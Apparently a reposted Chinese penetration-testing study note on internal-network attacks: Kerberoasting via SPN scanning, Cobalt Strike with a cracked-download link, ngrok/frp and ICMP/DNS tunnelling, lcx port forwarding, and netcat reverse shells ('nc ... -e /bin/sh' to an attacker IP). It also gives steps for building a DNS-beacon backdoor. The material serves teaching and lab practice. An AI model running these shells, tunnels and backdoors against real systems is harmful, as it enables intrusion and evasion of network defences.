将服务实例与服务登录帐户相关联。如果在整个林中的计算机上安装多个服务实例,则每个实例都必须具有自己的SPN
。SPN扫描:
SPN扫描也可以叫扫描
Kerberos
服务实例名称,在Active Directory
环境中发现服务的最佳方法是通过“SPN
扫描“SPN
扫描通过LDAP(攻击者只需要获得一个普通的域用户权限,就可以进行SPN
扫描)查询向域控制器执行服务发现。由于SPN
查询是普通Kerberos
票据的一部分,因此如果不能被查询,但可以用网络端口扫描来确认。SPN
扫描攻击者通过网络端口扫描的主要好处是SPN
扫描不要连接到网络上的每个IP来检查服务端口(不会因为触发内网中的IPS
、IDS
等防火墙设备的规则而产生大量的警告日志)。Kerberoasting攻击
- 黑客可以使用有效的域用户的身份验证票证(
TGT
)去请求运行在域控服务器上的一个或多个目标服务的服务票证。 DC
在活动目录中查找SPN
,并使用与SPN
关联的服务帐户加密票证,以便服务能够验证用户是否可以访问。- 请求的
Kerberos
服务票证的加密类型是RC4_HMAC_MD5
,这意味着服务帐户的NTLM
密码哈希用于加密服务票证。 - 黑客将收到的
TGS
票据离线进行破解,即可得到目标服务帐号的HASH,这个称之为Kerberoast
攻击。 - 如果我们有一个为域用户帐户注册的任意
SPN
,那么该用户帐户的明文密码的NTLM
哈希值就将用于创建服务票证。这就是Kerberoasting
攻击的关键。
扫描例子:
setspn -q ** | findstr "MSSQL" #查询MSSQL服务,相当于不用连接ip就可以查看靶机服务
CobaltStrike
CobaltStrike4.5下载与破解教程:
https://www.cnblogs.com/hxlinux/p/16505470.htmlCobaltStrike4.0用户手册:
https://pan.baidu.com/s/15DCt2Rzg5cZjXnEuUTgQ9Q 提取码:dtm2Cobalt Strike是一款渗透测试软件,分为N个客户端与1个服务端,可以进行团队分布式操作,是渗透红队的必备工具。
Cobalt Strike集成了功能和模块:
- 端口转发
- 扫描多模式端口Listener
- Windows exe程序生成
- Windows dll动态链接库生成
- java程序生成
- office宏代码生成
CS神器流程:启动-配置-监听-执行-上线-提权-信息收集(网络,凭证,定位等)-渗透
内网穿透
两个不同的内网的主机想要通过CS或者MSF等工具实现控制或者通讯是不可能的,必须要借助代理。
正反向协议通信:
- 正向:控制端连接被控制端
- 反向:被控制端连接控制端
什么要区分正向和反向?
- 因为如果控制端是外网主机,被控端是内网主机,就相当于控制端有一个唯一的IP地址(比如103.12.4.11),通过这个IP地址就可以找到控制端
- 而在内网的被控端(比如192.168.23.36),你通过控制端主动去找是找不到的,因为这个内网IP地址并不是唯一的,可能很多内网都用了这个IP地址,你根本没法找。此时就需要反向连接了,让内网的被控端主动去找外网的控制端。
内网穿透中隧道和代理的区别
- 代理:主要解决网络的连通性问题(如果内网中存在防火墙等等禁止对代理的相关协议,代理就不能用需要隧道进行协议的伪装)
- 隧道:解决流量分析工具、流量监控工具、防火墙等相关工具的过滤问题(代理的高级版本,进行了协议的伪装)
Ngrok
国外地址:https://ngrok.com/
国内地址:https://www.ngrok.cc/
攻击流程:
kail
是控制端,在本地运行ngrok
的客户端文件- 客户端文件的作用就是:监听
http://xigua.free.idcfengye.com
域名(127.0.0.1:4040
端口)传递给kail
控制端的192.168.108.129:4444
的流量信息(木马反弹的是ngrok
服务器) kail
生成后门文件:这里要区分传统的生成后门写的lhost
(攻击主机的ip
地址),由于设置了ngrok
服务器中转,因此lhost
地址为ngrok
服务器kail
的MSF
接受shell
:注意这里是服务器找内网的kail
,因此是反向代理。RHOST
参数值为受害靶机的ip
地址,LHOST
设置的是攻击主机的ip地址。而本文是反向代理,是服务器找本机ip
,相当于反弹的shell
找本机。(这也是为什么要在ngrok服务器设置反弹的ip和端口)
frp
Ngrok工具使用的是别人的服务器,容易泄露隐私数据。
FRP下载地址:https://github.com/fatedier/frp
使用前要求改配置文件
frpc.ini
为客户端(内网攻击机),frps.ini
为服务端(外网服务器)内网隧道
使用隧道的必备条件:知道靶机支持的隧道协议
隧道原理
-
在实际的网络中,通常会通过各种边界设备、软/硬件防火墙甚至入侵检测系统来检查对外连接情况
-
如果发现异样,就会对通信进行阻断。那么什么是隧道呢?
-
这里的隧道,就是一种绕过端口屏蔽的通信方式。
-
防火墙两端的数据包通过防火墙所允许的数据包类型或端口进行封装
-
然后穿过防火墙,与对方进行通信
-
当封装的数据包到达目的地时将数据包还原,并将还原后的数据包发送到相应服务器上。
常用的隧道技术:
- 网络层:IPv6 隧道、ICMP 隧道
- 传输层:TCP 隧道、UDP 隧道、常规端口转发
- 应用层:SSH 隧道、HTTP/S 隧道、DNS 隧道
ICMP 隧道
检测靶机是否支持ICMP 隧道:
TCP 协议
用“瑞士军刀”:netcat
nc
<端口>(-vz检测TCP端口)nc -uz <端口>(-uz检测UDP端口)如:nc -vz 192.168.8.16 HTTP 协议
如果远程主机开启了相应的端口,且内网可连接外网的话,就会输出相应的端口信息
用“curl”工具,执行
curl
命令如:curl 192.168.8.16:80 DNS 协议
检测 DNS 连通性常用的命令是“nslookup”和“dig”
nslookup 是windows自带的DNS 探测命令
nslookup 192.168.8.16
dig命令
linux系统自带的 DNS 探测命令
dig 192.168.8.16
工具
pingtunnel是把
tcp/udp/sock5
流量伪装icmp
流量进行转发的工具因为
tcp、udp、sock5
这几个协议受到防火墙和工具的拦截,这个工具就是把这些流量伪装成icmp
进行数据传输语法
-p
表示连接icmp
隧道另一端的机器IP
(即目标服务器)-lp
表示需要监听的本地tcp
端口-da
指定需要转发的机器的IP
(即目标内网某一机器的内网 IP)-dp
指定需要转发的机器的端口(即目标内网某一机器的内网端口)-x
设置连接的密码
传输层转发隧道
lcx
在window使用
下载地址:https://pan.baidu.com/s/1EoGZYVejTrBHBAvhndHLuQ , 提取码:fn9o
连接命令:
lcx -slave 192.168.3.31 6666 127.0.0.1 3389
portmap
即lcx工具的linux版
下载地址:http://www.vuln.cn/wp-content/uploads/2016/06/lcx_vuln.cn_.zip
连接命令:
./portmap -m 2 -p1 6666 -h2 公网IP -p2 7777
这里的6666端口和7777端口在公网IP上必须是开启状态
Netcat
windows和linux都能利用,用时需要确保是最新版
window下载地址:https://eternallybored.org/misc/netcat/
使用:
双向连接反弹 shell
-
**正向:**攻击连接受害
受害:
nc -ldp 1234 -e /bin/sh //linuxnc -ldp 1234 -e c:\windows\system32\cmd.exe //windows
攻击:
nc 192.168.76.132 1234 //主动连接
-
**反向:**受害连接攻击
攻击:
nc -lvp 1234
受害:
nc 攻击主机 IP 1234 -e /bin/sh //linuxnc 攻击主机 IP 1234 -e c:\windows\system32\cmd.exe //windows
多向连接反弹 shell-配合转发
-
god\Webserver:
Lcx.exe -listen 2222 3333
-
god\Sqlserver:
nc 192.168.3.31 2222 -e c:\windows\system32\cmd.exe
-
kali 或本机:
nc -v 192.168.76.143 3333
相关
netcat
主要功能测试-
指纹服务:
nc -nv 192.168.76.143
-
端口扫描:
nc -v -z 192.168.76.143 1-100
-
端口监听:
nc -lvp xxxx
-
文件传输:
nc -lp 1111 >1.txt|nc -vn xx.xx.x.x 1111 <1.txt -q 1
-
反弹 Shell:见上
应用层 DNS 隧道
常规是用http上线,dns比http速度要慢。
当常见协议监听器被拦截时,可以换其他协议上线,其中 dns 协议上线基本通杀(监听器就是隧道的意思)
因为dns是域名解析,这个协议一般都不会被拦截,数据通过dns协议给出去,一般也不会被拦截
流程:
-
使用云主机
Teamserver
并配置端口 53 启用-udp -
买一个域名修改解析记录如下:
-
A 记录->cs 主机名->CS 服务器 IP
-
NS 记录->ns1 主机名->上个 A 记录地址
-
NS 记录->ns2 主机名->上个 A 记录地址
-
-
配置
CobaltStrike
的DNS
监听器:-
ns1.ord.cs
-
ns2.ord.cs
-
cs.ord.cs
-
-
在
CobaltStrike
中生成后门attacks–>packages–>windows executable(s)–>listener选择dns上线,勾选–>选择后门生成位置–>生成后门(dns_x.exe)
-
将后门上传到靶机后执行就能在
CobaltStrike
上线
-
免责声明:
① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。
② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341
软考中级精品资料免费领
- 历年真题答案解析
- 备考技巧名师总结
- 高频考点精准押题
- 资料下载
- 历年真题
193.9 KB下载数265
191.63 KB下载数245
143.91 KB下载数1148
183.71 KB下载数642
644.84 KB下载数2756
相关文章
发现更多好内容猜你喜欢
AI推送时光机我的MSF之Android木马渗透的学习笔记
后端开发2023-08-23【渗透测试学习】—记录一次自测试渗透实战
后端开发2023-09-02渗透学习之PHP--序列化
后端开发2023-09-04学习笔记-TP5框架学习笔记\(路由\)
后端开发2023-10-2520200616学习笔记
后端开发2018-10-19Kafka 学习笔记
后端开发2023-08-3020200619 学习笔记
后端开发2019-12-15Mycat 学习笔记
后端开发2019-10-05sqlite3 学习笔记
后端开发2017-12-28postgres学习笔记
后端开发2018-01-09Python学习笔记
后端开发2023-01-3020200618_MySQL学习笔记
后端开发2014-11-2620200617学习笔记
后端开发2022-02-22Android学习笔记
后端开发2022-06-06咦!没有更多了?去看看其它编程学习网 内容吧 - 语法: